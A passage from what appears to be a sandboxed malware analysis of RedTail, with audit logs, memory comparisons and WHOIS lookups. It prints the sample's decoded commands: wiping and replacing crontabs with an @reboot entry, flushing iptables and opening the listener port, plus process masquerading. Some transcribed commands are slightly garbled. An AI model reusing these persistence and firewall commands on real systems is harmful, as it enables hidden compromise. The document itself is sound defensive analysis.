ot gid=root euid=root suid=root fsuid=root egid=root sgid=root fsgid=root tty=(none) ses=1 comm=php exe=/analys  
is/run-002/sample/redtail.x86_64 subj=unconfined key=malware_connect  
type=SOCKADDR msg=audit(08/29/2026 08:52:23.624:14140) : saddr={ saddr_fam=inet laddr=1.1.1.1 lport=853 }  
----  
type=PROCTITLE msg=audit(08/29/2026 08:52:23.624:14141) : proctitle=php-fpm: pool www  
----  
type=SYSCALL msg=audit(08/29/2026 08:52:23.624:14141) : arch=x86_64 syscall=connect success=no exit=ENETUNREACH  
(Network is unreachable) a0=0x14 a1=0x7c0b0e13bdc8 a2=0x10 a3=0x0 items=0 ppid=1 pid=10395 auid=victor58 uid=ro  
ot gid=root euid=root suid=root fsuid=root egid=root sgid=root fsgid=root tty=(none) ses=1 comm=php exe=/analys  
is/run-002/sample/redtail.x86_64 subj=unconfined key=malware_connect  
type=SOCKADDR msg=audit(08/29/2026 08:52:23.624:14141) : saddr={ saddr_fam=inet laddr=1.0.0.1 lport=853 }  
----  
type=PROCTITLE msg=audit(08/29/2026 08:52:23.624:14142) : proctitle=php-fpm: pool www  
----  
type=SYSCALL msg=audit(08/29/2026 08:52:23.624:14142) : arch=x86_64 syscall=connect success=no exit=ENETUNREACH  
(Network is unreachable) a0=0x15 a1=0x7c0b0e13bc38 a2=0x10 a3=0x0 items=0 ppid=1 pid=10395 auid=victor58 uid=ro  
ot gid=root euid=root suid=root fsuid=root egid=root sgid=root fsgid=root tty=(none) ses=1 comm=php exe=/analys  
is/run-002/sample/redtail.x86_64 subj=unconfined key=malware_connect  
type=SOCKADDR msg=audit(08/29/2026 08:52:23.624:14142) : saddr={ saddr_fam=inet laddr=8.8.8.8 lport=853 }
```

Two addresses, 80.152.203.134 and 109.91.184.21, did not clearly correspond to known public resolver services during the investigation. Reverse-DNS information showed that 80.152.203.134 resolved to mail3.kekew.info and was allocated to Deutsche Telekom AG (AS3320), while 109.91.184.21 resolved to ip-109-091-184-021.um37.pools.vodafone-ip.de and belonged to a Vodafone GmbH static B2B customer pool (AS3209). Both addresses were contacted by the same RedTail-backed process on TCP/853, with the connection attempts failing with ENETUNREACH. Their specific role in the observed activity could therefore not be confirmed, and they were retained as anomalous resolver candidates rather than classified as malicious infrastructure.

— Quick Stats

IP Location	 Germany Duesseldorf Deutsche Telekom Ag
ASN	 AS3320 DTAG Deutsche Telekom AG, DE (registered Feb 23, 1995)
Resolve Host	mail3.kekew.info
Whois Server	whois.ripe.net
IP Address	80.152.203.134
Reverse IP	3 websites use this address.

% Abuse contact for '80.152.128.0 - 80.153.255.255' is ' abuse@telekom.de '

```
inetnum:      80.152.128.0 - 80.153.255.255
netname:      DTAG-STATIC04
descr:        Deutsche Telekom AG
descr:        T-DSL Business static dial-up
org:          ORG-DTAG1-RIPE
country:      DE
admin-c:      DTIP
tech-c:       DTST
status:       ASSIGNED PA
mnt-by:       DTAG-NIC
created:      2007-04-10T13:08:19Z
last-modified: 2014-06-18T11:19:05Z
source:       RIPE
```

IP Information for 109.91.184.21

— Quick Stats

IP Location	 Germany Frankfurt Am Main Vodafone Static B2b Customer Pool
ASN	 AS3209 VODANET Vodafone GmbH, DE (registered Apr 06, 1994)
Resolve Host	ip-109-091-184-021.um37.pools.vodafone-ip.de
Whois Server	whois.ripe.net
IP Address	109.91.184.21

% Abuse contact for '109.91.128.0 - 109.91.255.255' is ' abuse.de@vodafone.com '

```
inetnum:      109.91.128.0 - 109.91.255.255
netname:      VODAFONE-STATIC-B2B-POOL-NET
descr:        Vodafone Static B2B Customer Pool
country:      DE
abuse-c:      UMAB-RIPE
admin-c:      UMAC-RIPE
tech-c:       UMTIC-RIPE
status:       ASSIGNED PA
mnt-by:       UNITYMEDIA-MNT
created:      2020-09-24T07:52:38Z
last-modified: 2022-07-04T08:08:30Z
source:       RIPE
```

Because the victim was deliberately configured without a default Internet route, every external connection attempt failed with ENETUNREACH before a packet could leave the host. This explains why these attempts were absent from both the victim PCAP and INetSim logs. In this case, endpoint auditing revealed network intent that network monitoring alone could not observe.

Differential analysis of the pre- and post-execution memory images also found several of the TCP/853 destinations only in post-execution memory. However, examination of the surrounding RAM showed that these strings belonged to cached audit records containing the RedTail PID, executable path, destination address and failed connect() result. The memory findings therefore corroborated the audit evidence, but were not treated as proof that RedTail stored its resolver list directly in plaintext process memory.

```

victor58@victintester1:/analysis/evidence-review/run002/run-002/sample$ PATTERN='95\.215\.19\.53|1\.1\.1\.1|1\.0
\.0\.1|8\.8\.8\.8|4\.4|9\.9\.9\.9|9\.9\.9\.9|10|217\.160\.70\.42|213\.202\.211\.221|81\.169\.136\.222|185\.1
81\.61\.24|80\.152\.203\.134|109\.91\.184\.21'
victor58@victintester1:/analysis/evidence-review/run002/run-002/sample$ strings -a \
/mnt/evidence-usb/Run002-Memory/vm610-baseline-pre-redtail.elf \
| grep -E "$PATTERN" \
| sort -u \
> /analysis/evidence-review/run002-memory-comparison/baseline-ip-hits.txt

victor58@victintester1:/analysis/evidence-review/run002/run-002/sample$
victor58@victintester1:/analysis/evidence-review/run002/run-002/sample$ strings -a /mnt/evidence-usb/Run002-Memo
ry/vm610-post-redtail.elf \
| grep -E "$PATTERN" \
| sort -u \
> /analysis/evidence-review/run002-memory-comparison/post-redtail-ip-hits.txt
victor58@victintester1:/analysis/evidence-review/run002/run-002/sample$ diff -u \
/analysis/evidence-review/run002-memory-comparison/baseline-ip-hits.txt \
/analysis/evidence-review/run002-memory-comparison/post-redtail-ip-hits.txt \
> /analysis/evidence-review/run002-memory-comparison/ip-memory-diff.txt
victor58@victintester1:/analysis/evidence-review/run002/run-002/sample$ comm -13 \
/analysis/evidence-review/run002-memory-comparison/baseline-ip-hits.txt \
/analysis/evidence-review/run002-memory-comparison/post-redtail-ip-hits.txt \
> /analysis/evidence-review/run002-memory-comparison/post-only-ip-hits.txt

```

```

victor58@victintester1:/analysis/evidence-review/run002/run-002/sam
ple$ cat /analysis/evidence-review/run002-memory-comparison/post-on
ly-ip-hits.txt
109.91.184.21
am=inet laddr=217.160.70.42 lport=853 }
SADDR={ saddr_fam=inet laddr=1.0.0.1 lport=853 }
SADDR={ saddr_fam=inet laddr=109.91.184.21 lport=853 }
SADDR={ saddr_fam=inet laddr=1.1.1.1 lport=853 }
SADDR={ saddr_fam=inet laddr=185.181.61.24 lport=853 }
SADDR={ saddr_fam=inet laddr=213.202.211.221 lport=853 }
SADDR={ saddr_fam=inet laddr=80.152.203.134 lport=853 }
SADDR={ saddr_fam=inet laddr=81.169.136.222 lport=853 }
SADDR={ saddr_fam=inet laddr=8.8.4.4 lport=853 }
SADDR={ saddr_fam=inet laddr=8.8.8.8 lport=853 }
SADDR={ saddr_fam=inet laddr=95.215.19.53 lport=853 }
SADDR={ saddr_fam=inet laddr=9.9.9.10 lport=853 }
SADDR={ saddr_fam=inet laddr=9.9.9.9 lport=853 }

```

```

victor58@victintester1:~$ OUT1=/analysis/evidence
-review/run001-network-analysis
victor58@victintester1:~$ grep -oE \
'laddr=([0-9]{1,3}\.){3}[0-9]{1,3} lport=853' \
"$OUT1/redtail-connect-decoded.txt" \
| sort -u \
| tee "$OUT1/tcp853-targets.txt"
laddr=1.0.0.1 lport=853
laddr=109.91.184.21 lport=853
laddr=1.1.1.1 lport=853
laddr=185.181.61.24 lport=853
laddr=213.202.211.221 lport=853
laddr=217.160.70.42 lport=853
laddr=80.152.203.134 lport=853
laddr=81.169.136.222 lport=853
laddr=8.8.4.4 lport=853
laddr=8.8.8.8 lport=853
laddr=95.215.19.53 lport=853
laddr=9.9.9.10 lport=853
laddr=9.9.9.9 lport=853

```

```
victor58@victimtester1:/analysis/evidence-review/run002/run-002/sample$ grep -a
ob '217.160.70.42' \
/mnt/evidence-usb/Run002-Memory/vm610-post-redtail.elf \
| head -20
2790178582:217.160.70.42
victor58@victimtester1:/analysis/evidence-review/run002/run-002/sample$ grep -a
ob '80.152.203.134' /mnt/evidence-usb/Run002-Memory/vm610-post-redtail.elf | he
ad -20
2790181393:80.152.203.134
```

The same TCP/853 resolver sequence was reproduced in both separate RedTail executions. Several destinations corresponded to established DNS-over-TLS services, strongly supporting the interpretation that this sequence forms part of RedTail's resolver-selection or encrypted DNS initialization behavior.

```
victor58@victimtester1:/analysis/evidence-review/run002/run-002/sample$ MEM=/mnt/
evidence-usb/Run002-Memory/vm610-post-redtail.elf
OUT=/analysis/evidence-review/run002-memory-comparison

START=$((2790178582-2048))

dd if="$MEM" \
iflag=skip_bytes,count_bytes \
skip="$START" \
count=8192 \
status=none \
| strings -a \
| tee "$OUT/post-memory-853-region.txt"
am=inet laddr=217.160.70.42 lport=853 }
type=PROCTITLE msg=audit(1787993543.624:14146): proctitle=7068702D66706D3A20706
F6F6C20777777
type=SYSCALL msg=audit(1787993543.624:14147): arch=c000003e syscall=42 success=
no exit=-101 a0=1a a1=7c0b0e13b468 a2=10 a3=0 items=0 ppid=1 pid=10395 auid=100
0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=1 comm
="php" exe="/analysis/run-002/sample/redtail.x86_64" subj=unconfined key="malwa
re_connect"
ARCH=x86_64 SYSCALL=connect AUID="victor58" UID="root" GID="root" EUID="root" S
UID="root" FSUID="root" EGID="root" SGID="root" FSGID="root"
type=SOCKADDR msg=audit(1787993543.624:14147): saddr=02000355D5CAD3DD0000000000
000000
SADDR={ saddr_fam=inet laddr=213.202.211.221 lport=853 }
type=PROCTITLE msg=audit(1787993543.624:14147): proctitle=7068702D66706D3A20706
F6F6C20777777
type=SYSCALL msg=audit(1787993543.625:14148): arch=c000003e syscall=42 success=
no exit=-101 a0=1b a1=7c0b0e13b2d8 a2=10 a3=0 items=0 ppid=1 pid=10395 auid=100
0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=1 comm
="php" exe="/analysis/run-002/sample/redtail.x86_64" subj=unconfined key="malwa
re_connect"
ARCH=x86_64 SYSCALL=connect AUID="victor58" UID="root" GID="root" EUID="root" S
UID="root" FSUID="root" EGID="root" SGID="root" FSGID="root"
type=SOCKADDR msg=audit(1787993543.625:14148): saddr=0200035551A988DE0000000000
000000
```

A RedTail-backed TCP listener was observed during both executions, but the listening port differed between runs (40219 in Run 001 and 39983 in Run 002). No traffic involving either listener was observed during the corresponding packet captures. This suggests that the listener port may be dynamically selected, although two observations are insufficient to determine the exact selection mechanism.

```
victor58@victimtester1:/analysis/run-001$ sudo lsof -nP -p 148078,148084 /analysis/run-001/post/redtail-process-o
lsof: status error on /analysis/run-001/post/redtail-process-open-files.txt: No such file or directory
victor58@victimtester1:/analysis/run-001$ sudo ss -ltnup\
> | grep -E '40219|148078|148084' \
> | tee /analysis/run-001/post/redtail-listeners.txt
tcp LISTEN 0 128 0.0.0.0:40219 0.0.0.0:* users: (('postgres: user ",pid=148078,fd=7))
```

Filesystem Changes and Persistence

Run 002 provided direct evidence of persistence. Immediately after execution, the RedTail-backed process spawned a shell that first removed the existing root crontab and then installed a new entry containing @reboot <RedTail executable>. The resulting /var/spool/cron/crontabs/root file was absent from the pre-execution filesystem baseline but present following execution. This established a straightforward reboot-persistence mechanism: RedTail would be relaunched whenever the infected host restarted.

```
victor58@victimtester1:~$ BASE2=/analysis/evidence-review/run002/run-002
OUT2=/analysis/evidence-review/run002-filesystem-analysis

mkdir -p "$OUT2"
```

```
victor58@victimtester1:~$ grep -n -B12 -A20 \
'pid=10399\|ppid=10399\|pid=10395' \
"$BASE2/audit/exec-events.txt" \
| tee "$OUT2/pid10399-process-chain.txt"
73251-type=PROCTITLE msg=audit(1787993543.370:14125): proctitle=2F616E616C797369732F72756E2D303032
2F73616D706C652F7265647461696C2E7838365F363400737368
73252-type=PATH msg=audit(1787993543.370:14125): item=0 name="/analysis/run-002/sample/redtail.x86
_64" inode=655435 dev=fc:00 mode=0100500 ouid=1000 ogid=1000 rdev=00:00 nametype=NORMAL cap_fp=0 c
ap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0
73253-type=CWD msg=audit(1787993543.370:14125): cwd="/home/victor58"
73254-type=EXECVE msg=audit(1787993543.370:14125): argc=2 a0="/analysis/run-002/sample/redtail.x86
_64" a1="ssh"
73255-type=SYSCALL msg=audit(1787993543.370:14125): arch=c000003e syscall=59 success=yes exit=0 a0
=7ffd8017d430 a1=7ffd8017e978 a2=7ffd8017e990 a3=74277e4040b8 items=1 ppid=10391 pid=10394 auid=10
00 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=1 comm="redtail.x86_64" ex
e="/analysis/run-002/sample/redtail.x86_64" subj=unconfined key="malware_exec"
73256-----
73257-time->Sat Aug 29 08:52:23 2026
73258-type=PROCTITLE msg=audit(1787993543.597:14127): proctitle=7368002D630063726F6E746162202D7220
3E2F6465762F6E756C6C20323E26313B206563686F2022407265626F6F74202F616E616C797369732F72756E2D3030322F
73616D706C652F7265647461696C2E7838365F363422207C2063726F6E746162202D
73259-type=PATH msg=audit(1787993543.597:14127): item=1 name="/lib64/ld-linux-x86-64.so.2" inode=9
61247 dev=fc:00 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 c
ap_fver=0 cap_frootid=0
73260-type=PATH msg=audit(1787993543.597:14127): item=0 name="/bin/sh" inode=918057 dev=fc:00 mode
=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frooti
d=0
73261-type=CWD msg=audit(1787993543.597:14127): cwd="/"
73262-type=EXECVE msg=audit(1787993543.597:14127): argc=3 a0="sh" a1="-c" a2=63726F6E746162202D722
03E2F6465762F6E756C6C20323E26313B206563686F2022407265626F6F74202F616E616C797369732F72756E2D3030322
F73616D706C652F7265647461696C2E7838365F363422207C2063726F6E746162202D
73263-type=SYSCALL msg=audit(1787993543.597:14127): arch=c000003e syscall=59 success=yes exit=0 a0
=86d7d5 a1=7ffe2d84ee60 a2=7ffe2d84f750 a3=8 items=2 ppid=10395 pid=10399 auid=1000 uid=0 gid=0 eu
id=0 suid=0 fsuid=0 egid=990 sgid=990 fsgid=990 tty=(none) ses=1 comm="sh" exe="/usr/bin/dash" subj=unco
nfined key="malware_exec"
73264-----
```

```
victor58@victimtester1:~$ echo '63726F6E746162202D72203E2F6465762F6E756C6C20323E26313B206563686
F2022407265626F6F74202F616E616C797369732F72756E2D3030322F73616D706C652F7265647461696C2E7838365F
363422207C2063726F6E746162202D' \
| xxd -r -p: echo
crontab -r >/dev/null 2>&1; echo "@reboot /analysis/run-002/sample/redtail.x86_64" | crontab -
```

```
73269-type=CWD msg=audit(1787993543.598:14128): cwd="/"
73270-type=EXECVE msg=audit(1787993543.598:14128): argc=2 a0="crontab" a1="-r"
73271-type=SYSCALL msg=audit(1787993543.598:14128): arch=c000003e syscall=59 success=yes exit=0
a0=64c151216510 a1=64c1512164c8 a2=64c151216500 a3=8 items=2 ppid=10399 pid=10400 auid=1000 uid=
0 gid=0 euid=0 suid=0 fsuid=0 egid=990 sgid=990 fsgid=990 tty=(none) ses=1 comm="crontab" exe="/
usr/bin/crontab" subj=unconfined key="malware_exec"
```

```
73277-type=CWD msg=audit(1787993543.599:14131): cwd="/"
73278-type=EXECVE msg=audit(1787993543.599:14131): argc=2 a0="crontab" a1="-"
73279-type=SYSCALL msg=audit(1787993543.599:14131): arch=c000003e syscall=59 success=yes exit=0
a0=64c1512164f0 a1=64c1512164c8 a2=64c1512164e0 a3=64c151216720 items=2 ppid=10399 pid=10402 au-
d=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=990 sgid=990 fsgid=990 tty=(none) ses=1 comm="cron-
tab" exe="/usr/bin/crontab" subj=unconfined key="malware_exec"
```

```
victor58@victimtester1:~$ cat "$BASE2/post/files-sha256.diff"
--- /analysis/run-002/pre/files-sha256.txt      2026-08-29 08:14:14.493000000 +0000
+++ /analysis/run-002/post/files-sha256.txt      2026-08-29 09:10:41.993000000 +0000
@@ -2587,3 +2587,4 @@
 bbee58b1e0787bb851e7f7a4d0c187a8122d68eb67e5fa464696310398ac005b /root/.profile
 e3b0c44298fc1c149afbfc4c8996fb92427ae41e4649b934ca495991b7852b855 /root/.ssh/authorized_keys
 a67010b08af2edf5a04d2f051a133e0d8e30853c308f055b8335e759609d6dc9 /usr/local/bin/avml
+6e17b2e67e560debded583e2983d426b8b2b1d1f7e628a631c63b5a0acb4387c /var/spool/cron/crontabs/root
```

RedTail also spawned a separate shell that invoked iptables -F and attempted to insert an INPUT rule allowing TCP traffic to port 39983. This was the same port on which the surviving masqueraded RedTail process was listening. The behavior therefore suggests that RedTail attempted to expose its newly created listener through the host firewall. Audit and process-accounting evidence confirm that both iptables commands were executed as root; however, because no post-execution firewall ruleset or command termination status was preserved, successful application of the firewall changes could not be independently verified.

```
73281-time->Sat Aug 29 08:52:23 2026
73282-type=PROCTITLE msg=audit(1787993543.604:14135): proctitle=7368002D630069707461626C6573202D
46203E2F6465762F6E756C6C20323E26313B2069707461626C6573202D4920494E505554202D7020746370202D2D6470
6F7274203339393833202D6A20414343455054203E2F6465762F6E756C6C20323E2631
73283-type=PATH msg=audit(1787993543.604:14135): item=1 name="/lib64/ld-linux-x86-64.so.2" inode
=961247 dev=fc:00 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe
=0 cap_fver=0 cap_frootid=0
73284-type=PATH msg=audit(1787993543.604:14135): item=0 name="/bin/sh" inode=918057 dev=fc:00 mo
de=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_fr
ootid=0
73285-type=CWD msg=audit(1787993543.604:14135): cwd="/"
73286-type=EXECVE msg=audit(1787993543.604:14135): argc=3 a0="sh" a1="-c" a2=69707461626C6573202D
D46203E2F6465762F6E756C6C20323E26313B2069707461626C6573202D4920494E505554202D7020746370202D2D647
06F7274203339393833202D6A20414343455054203E2F6465762F6E756C6C20323E2631
73287-type=SYSCALL msg=audit(1787993543.604:14135): arch=c000003e syscall=59 success=yes exit=0
a0=86d7d5 a1=7ffe2d84ee60 a2=7ffe2d84f750 a3=8 items=2 ppid=10395 pid=10405 aud=1000 uid=0 gid=
0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=1 comm="sh" exe="/usr/bin/dash" sub
j=unconfined key="malware_exec"
73288-----
```

```
victor58@victimtester1:~$ echo '69707461626C6573202D46203E2F6465762F6E756C6C20323E26313B20697074
61626C6573202D4920494E505554202D7020746370202D2D64706F7274203339393833202D6A20414343455054203E2F
6465762F6E756C6C20323E2631' | xxd -r -p; echo
iptables -F >/dev/null 2>&1; iptables -I INPUT -p tcp --dport 39983 -j ACCEPT >/dev/null 2>&1
```

```
73294-type=EXECVE msg=audit(1787993543.604:14136): argc=2 a0="iptables" a1="-F"
73295-type=SYSCALL msg=audit(1787993543.604:14136): arch=c000003e syscall=59 success=yes exit=0
a0=5d57c955d658 a1=5d57c955d610 a2=5d57c955d648 a3=8 items=2 ppid=10405 pid=10406 aud=1000 uid=
0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=1 comm="iptables" exe="/usr/s
bin/xtables-nft-multi" subj=unconfined key="malware_exec"
73296-----
73301-type=CWD msg=audit(1787993543.606:14137): cwd="/"
73302-type=EXECVE msg=audit(1787993543.606:14137): argc=9 a0="iptables" a1="-I" a2="INPUT" a3="-
p" a4="tcp" a5="--dport" a6="39983" a7="-j" a8="ACCEPT"
73303-type=SYSCALL msg=audit(1787993543.606:14137): arch=c000003e syscall=59 success=yes exit=0
a0=5d57c955d720 a1=5d57c955d6a0 a2=5d57c955d710 a3=8 items=2 ppid=10405 pid=10407 aud=1000 uid=
0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=1 comm="iptables" exe="/usr/s
bin/xtables-nft-multi" subj=unconfined key="malware_exec"
```

```
victor58@victimtester1:~$ grep -nEi \
'iptables|xtables' \
"$BASE2/post/process-accounting.txt" \
"$BASE2/final/process-accounting.txt" \
2>/dev/null
/analysis/evidence-review/run002/run-002/post/process-accounting.txt:4790:iptables S root 0.00 secs Sat Aug 29 08:52
/analysis/evidence-review/run002/run-002/post/process-accounting.txt:4793:iptables S root 0.00 secs Sat Aug 29 08:52
/analysis/evidence-review/run002/run-002/final/process-accounting.txt:5194:iptables S root 0.00 secs Sat Aug 29 08:52
/analysis/evidence-review/run002/run-002/final/process-accounting.txt:5197:iptables S root 0.00 secs Sat Aug 29 08:52
```

Run 001 showed the same persistence and firewall logic while RedTail was executed as the unprivileged victor58 account. Instead of creating a root crontab, RedTail removed and replaced the current user's crontab, resulting in the creation of /var/spool/cron/crontabs/victor58 with an @reboot entry pointing to the RedTail executable. This demonstrates that the cron persistence mechanism does not depend on root privileges; RedTail installs persistence under whichever account is executing the malware. Run 001 contained two separate executions of the sample, and each execution repeated this behavior. The corresponding firewall commands attempted to flush the ruleset and allow inbound access to the dynamically selected listener ports 39539 and 40219. Because these commands were executed as UID 1000 without root privileges, successful firewall modification was not established and would normally require additional privileges.

```
victor58@victimtester1:~$ BASE1=/analysis/evidence-review/run001/run-001
OUT1=/analysis/evidence-review/run001-persistence-analysis

mkdir -p "$OUT1"

tee "$OUT1/run001-redtail-child-processes.txt"
54146-type=PROCTITLE msg=audit(1787749899.662:221242): proctitle=2F616E616C797369732F72756E2D3030312F73616D706C652F7265
54146-type=PROCTITLE msg=audit(1787749899.662:221242): proctitle=2F616E616C797369732F72756E2D3030312F73616D706C652F7265
54147-type=PATH msg=audit(1787749899.662:221242): item=0 name="/analysis/run-001/sample/redtail.x86_64" inode=655436 de
v=fc:00 mode=0100500 ouid=1000 ogid=1000 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0
54148-type=CWD msg=audit(1787749899.662:221242): cwd="/analysis/run-001"
54149-type=EXECVE msg=audit(1787749899.662:221242): argc=3 a0="/analysis/run-001/sample/redtail.x86_64" a1="ssh" a2="/a
analysis/run-001/runtime/sample.stdout"
54150-type=SYSCALL msg=audit(1787749899.662:221242): arch=c000003e syscall=59 success=yes exit=0 a0=7fff0893afc0 a1=7ff
f0893c508 a2=7fff0893c528 a3=72e4f9b6b0b8 items=1 ppid=147995 pid=147998 auid=1000 uid=1000 gid=1000 euid=1000 suid=100
0 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=ttty1 ses=1 comm="redtail.x86_64" exe="/analysis/run-001/sample/redtail.
x86_64" subj=unconfined key="malware_exec"
54151-----
54152-time->Wed Aug 26 13:11:39 2026
54153-type=PROCTITLE msg=audit(1787749899.862:221244): proctitle=7368002D630063726F6E746162202D72203E2F6465762F6E756C6C
20323E26313B206563686F2022407265626F6F74202F616E616C797369732F72756E2D3030312F73616D706C652F7265647461696C2E7838365F363
422207C2063726F6E746162202D
54154-type=PATH msg=audit(1787749899.862:221244): item=1 name="/lib64/ld-linux-x86-64.so.2" inode=961247 dev=fc:00 mode
=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0
54155-type=PATH msg=audit(1787749899.862:221244): item=0 name="/bin/sh" inode=918057 dev=fc:00 mode=0100755 ouid=0 ogid
=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0
54156-type=CWD msg=audit(1787749899.862:221244): cwd="/"
54157-type=EXECVE msg=audit(1787749899.862:221244): argc=3 a0="sh" a1="-c" a2=63726F6E746162202D72203E2F6465762F6E756C6C
20323E26313B206563686F2022407265626F6F74202F616E616C797369732F72756E2D3030312F73616D706C652F7265647461696C2E7838365F36
3422207C2063726F6E746162202D
54158-type=SYSCALL msg=audit(1787749899.862:221244): arch=c000003e syscall=59 success=yes exit=0 a0=86d7d5 a1=7ffc62ead
410 a2=7ffc62eadd08 a3=8 items=2 ppid=147999 pid=148003 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid
=1000 sgid=1000 fsgid=1000 tty=(none) ses=1 comm="sh" exe="/usr/bin/dash" subj=unconfined key="malware_exec"
victor58@victimtester1:~$ echo '69707461626C6573202D46203E2F6465762F6E756C6C20323E26313B2069707461626C6573202D4920494E50
5554202D7020746370202D64706F7274203339353339202D6A20414343455054203E2F6465762F6E756C6C20323E26313B2069707461626C6573202D4920494E50
iptables -F >/dev/null 2>&1; iptables -I INPUT -p tcp --dport 39539 -j ACCEPT >/dev/null 2>&1
```

```
victor58@victimtester1:~$ grep -nEi \
'iptables|xtables' \
"$BASE1/post/process-accounting.txt" \
"$BASE1/final/process-accounting.txt" \
2>/dev/null
/analysis/evidence-review/run001/run-001/post/process-accounting.txt:15163:iptables victor58 0.00 secs Wed Aug 26 13:11
/analysis/evidence-review/run001/run-001/post/process-accounting.txt:15164:iptables victor58 0.00 secs Wed Aug 26 13:11
/analysis/evidence-review/run001/run-001/post/process-accounting.txt:15239:iptables victor58 0.00 secs Wed Aug 26 13:11
/analysis/evidence-review/run001/run-001/post/process-accounting.txt:15240:iptables victor58 0.00 secs Wed Aug 26 13:11
```

Across the two runs, the persistence behavior was therefore consistent while the resulting crontab depended on execution context: Run 001 persisted through the victor58 user crontab, whereas Run 002 persisted through the root crontab. The listener ports also differed across executions (39539, 40219, and 39983), further supporting the observation that RedTail selects a high-numbered listening port dynamically rather than relying on a single fixed port.

Process Masquerading and Listener Establishment

RedTail established a high-numbered TCP listener while disguising its process identity. During the first Run 001 execution, RedTail changed its process name to php, and the surviving malware process, PID 147999, was subsequently observed listening on 0.0.0.0:39539. Audit records from the same execution showed a child process invoking `iptables -I INPUT -p tcp --dport 39539 -j ACCEPT`, directly linking the firewall-modification attempt to the dynamically selected listener port. The iptables executable was successfully launched, although the preserved evidence does not confirm that the non-root process successfully applied the firewall rule.

The behaviour was reproduced with different values across subsequent executions. The second Run 001 execution masqueraded using a PostgreSQL-like process name and listened on TCP port 40219, while the root-privileged Run 002 execution used the process name php, a php-fpm: pool www process title, and listened on TCP port 39983. The differing ports across the three executions indicate dynamic high-port selection rather than reliance on a fixed listening port. In each case, RedTail's firewall command referenced the corresponding selected listener port.

RUN 001.1 Pictures

```
victor58@victimtester1:~$ grep -n -m5 \
'0\.\0\.\0\.\0:39539' \
"$BASE1/runtime/process-network-run001.log"
5520349:tcp LISTEN 0 128 0.0.0.0:39539 0.0.0.0:* users:(
("php",pid=147999,fd=7)) uid:1000 ino:825649 sk:2001 cgroup:/user.slice/user-100
0.slice/session-1.scope <->
5520509:tcp LISTEN 0 128 0.0.0.0:39539 0.0.0.0:* users:(
("php",pid=147999,fd=7)) uid:1000 ino:825649 sk:2001 cgroup:/user.slice/user-100
0.slice/session-1.scope <->
5520669:tcp LISTEN 0 128 0.0.0.0:39539 0.0.0.0:* users:(
("php",pid=147999,fd=7)) uid:1000 ino:825649 sk:2001 cgroup:/user.slice/user-100
0.slice/session-1.scope <->
5520828:tcp LISTEN 0 128 0.0.0.0:39539 0.0.0.0:* users:(
("php",pid=147999,fd=7)) uid:1000 ino:825649 sk:2001 cgroup:/user.slice/user-100
0.slice/session-1.scope <->
5520987:tcp LISTEN 0 128 0.0.0.0:39539 0.0.0.0:* users:(
("php",pid=147999,fd=7)) uid:1000 ino:825649 sk:2001 cgroup:/user.slice/user-100
0.slice/session-1.scope <->
```

```
victor58@victimtester1:~$ grep -n -B6 -A6 \
'a6="39539"' \
"$BASE1/audit/exec-events.txt"
54191-----
54192-time->Wed Aug 26 13:11:39 2026
54193-type=PROCTITLE msg=audit(1787749899.872:221254): proctitle=69707461626C657
3002D4900494E505554002D7000746370002D2D64706F7274003339353339002D6A0041434345505
4
54194-type=PATH msg=audit(1787749899.872:221254): item=1 name="/lib64/ld-linux-x
86-64.so.2" inode=961247 dev=fc:00 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametyp
e=NORMAL cap_fp=0 cap-fi=0 cap-fe=0 cap-fver=0 cap-frootid=0
54195-type=PATH msg=audit(1787749899.872:221254): item=0 name="/usr/sbin/iptables
s" inode=935933 dev=fc:00 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL
cap_fp=0 cap-fi=0 cap-fe=0 cap-fver=0 cap-frootid=0
54196-type=CWD msg=audit(1787749899.872:221254): cwd="/"
54197-type=EXECVE msg=audit(1787749899.872:221254): argc=9 a0="iptables" a1="-I"
a2="INPUT" a3="-p" a4="tcp" a5="--dport" a6="39539" a7="-j" a8="ACCEPT"
54198-type=SYSCALL msg=audit(1787749899.872:221254): arch=c000003e syscall=59 su
ccess=yes exit=0 a0=5ec276c54720 a1=5ec276c546a0 a2=5ec276c54710 a3=8 items=2 pp
id=148009 pid=148011 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000
egid=1000 sgid=1000 fsgid=1000 tty=(none) ses=1 comm="iptables" exe="/usr/sbin/x
tables-nft-multi" subj=unconfined key="malware_exec"
54199-----
54200-time->Wed Aug 26 13:11:40 2026
54201-type=PROCTITLE msg=audit(1787749900.387:221268): proctitle=64617465002D750
0002D6A004143434550573
```

RUN 001.2 Pictures

```
victor58@victintester1:~$ echo "==== RUN 001 EXECUTION #2 : MASQUERADE
===="
grep -m1 'prctl(PR_SET_NAME' "$TRACE1B"

echo
echo "==== RUN 001 EXECUTION #2 : LISTENER ====="
grep -m3 '0\.\0\.\0\.\0:40219' \
"$BASE1/post/listeners.txt"

echo
